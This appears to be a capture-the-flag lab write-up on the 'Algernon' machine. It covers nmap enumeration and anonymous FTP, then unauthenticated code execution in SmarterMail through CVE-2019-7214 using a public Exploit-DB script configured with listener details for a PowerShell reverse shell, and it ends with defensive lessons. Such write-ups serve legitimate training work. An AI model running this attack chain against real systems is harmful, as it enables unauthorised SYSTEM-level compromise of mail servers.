Algernon

TL;DR. Algernon's anonymous FTP exposes the logs of a SmarterMail mail server (anonymous FTP). Port 17001 (its admin channel over .NET Remoting) is vulnerable to CVE-2019-7214: deserialization of untrusted data allowing unauthenticated command execution (CVE-2019-7214). The exploit returns a shell straight as nt authority\system.

Recon

Initial scan

The reply TTL 125 → Windows: Windows starts the TTL at 128 and each routing hop decrements it, so 125 = 128−3; a hint, not proof (it can be spoofed), confirmed by the service scan. We sweep the TCP ports:

ping -c 1 192.168.223.65
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.223.65

PORT      STATE SERVICE
21/tcp    open  ftp
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
9998/tcp  open  http
17001/tcp open  remoting

nmap -p21,80,135,139,445,5040,9998,17001 -sCV 192.168.223.65 -oN targetedScan

PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 04-29-20  09:31PM       <DIR>          ImapRetrieval
| 01-15-26  04:06PM       <DIR>          Logs
| 04-29-20  09:31PM       <DIR>          PopRetrieval
|_04-29-20  09:32PM       <DIR>          Spool
80/tcp    open  http          Microsoft IIS httpd 10.0
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
9998/tcp  open  http          Microsoft HTTPAPI httpd 2.0    [/interface/root]
17001/tcp open  remoting      MS .NET Remoting services

Two hints click immediately. The anonymous FTP shows folders (ImapRetrieval, PopRetrieval, Spool) that are the typical layout of a mail server, and 17001/TCP shows up as MS .NET Remoting. On top of that, 9998 redirects to /interface/root. Everything points to SmarterMail, a Windows mail server whose web console lives on 9998 and whose admin channel listens on 17001.

FTP - TCP 21: SmarterMail logs

Anonymous login is allowed, so we pull the whole tree recursively:

wget -r ftp://anonymous:@192.168.223.65/
cd 192.168.223.65
ls
cat Logs/*delivery.log

ImapRetrieval  Logs  PopRetrieval  Spool

22:31:35.613 Delivery server started at 4/29/2020 10:31:35 PM
22:31:35.692 Updating ClamAV database...
22:32:23.254 Updating the ClamAV database has completed successfully
23:15:58.747 Relay server stopped at 4/29/2020 11:15:58 PM

The logs confirm the service is SmarterMail (log format and the relay Spool), but hold no credentials. The path isn't reading mail: it's the SmarterMail version itself.

TCP 17001: identifying SmarterMail (CVE-2019-7214)

SmarterMail exposes its admin API on port 17001 via .NET Remoting, with three deserializable endpoints (/Servers, /Mail and /Spool). Versions 16.x before build 6985 carry CVE-2019-7214: the channel was configured with TypeFilterLevel.Full in its BinaryServerFormatterSinkProvider, meaning the BinaryFormatter accepts and reconstructs any type of object arriving over the socket, with no allowlist. That lets an unauthenticated attacker send a gadget chain generated with ysoserial.net: while rebuilding the object, BinaryFormatter fires its setters in sequence and ends up running the embedded command during deserialization itself (CVE-2019-7214).

There's a public Exploit-DB exploit that automates sending the serialized object:

searchsploit smarter
searchsploit -m windows/remote/49216.py
mv 49216.py smartermail_exp.py

SmarterMail Build 6985 - Remote Code Execution    | windows/remote/49216.py
   Codes: CVE-2019-7214

Exploitation

RCE via SmarterMail (CVE-2019-7214)

We edit the four header variables of the script (target and listener data) and start a listener. The default payload is a PowerShell reverse shell:

HOST='192.168.223.65'
PORT=17001
LHOST='192.168.45.177'
LPORT=4444

With the variables set, we leave Penelope listening on 4444 (the LPORT) before firing the exploit:

penelope 4444

python3 smartermail_exp.py

The malicious object is deserialized in the service's context, which runs as the machine's most privileged account. The shell lands directly as nt authority\system, with no need to escalate:

PS C:\Windows\system32> whoami
nt authority\system

Post-exploitation

Proof

Already SYSTEM, we read the proof straight from the administrator's desktop:

type C:\Users\Administrator\desktop\proof.txt; whoami; hostname

f8bd45e00304334a575f0cdf2c9319a4

Attack chain

anonymous FTP (21)  --  ImapRetrieval/Spool layout + logs  ->  service = SmarterMail
        │  17001 = .NET Remoting (SmarterMail 16.x < build 6985)
        ▼
CVE-2019-7214  --  deserialization of untrusted data, unauthenticated
        │  exploit 49216.py -> PowerShell reverse shell
        ▼
shell as nt authority\system  (proof.txt)

Lessons learned

• An anonymous FTP is rarely the final goal; it's usually a hint. There were no credentials in the logs here, but their layout identified the product (SmarterMail) and with it the real vector on another port. Enumeration counts for what it suggests, not only for what it hands you.
• Deserialization of untrusted data is code execution. When a service accepts serialized objects from a client and rebuilds them without validating the type, a well-chosen gadget runs commands. CVE-2019-7214 is a textbook case over .NET Remoting.
• Mail services often run as SYSTEM. That's why the RCE gave instant root: no escalation needed. Isolating these services under lower-privilege accounts reduces the blast radius of a flaw like this.
• Version and patch the middleware, not just the OS. Port 17001 is neither web nor obvious; it stayed exposed and unpatched. What you don't inventory, you don't patch.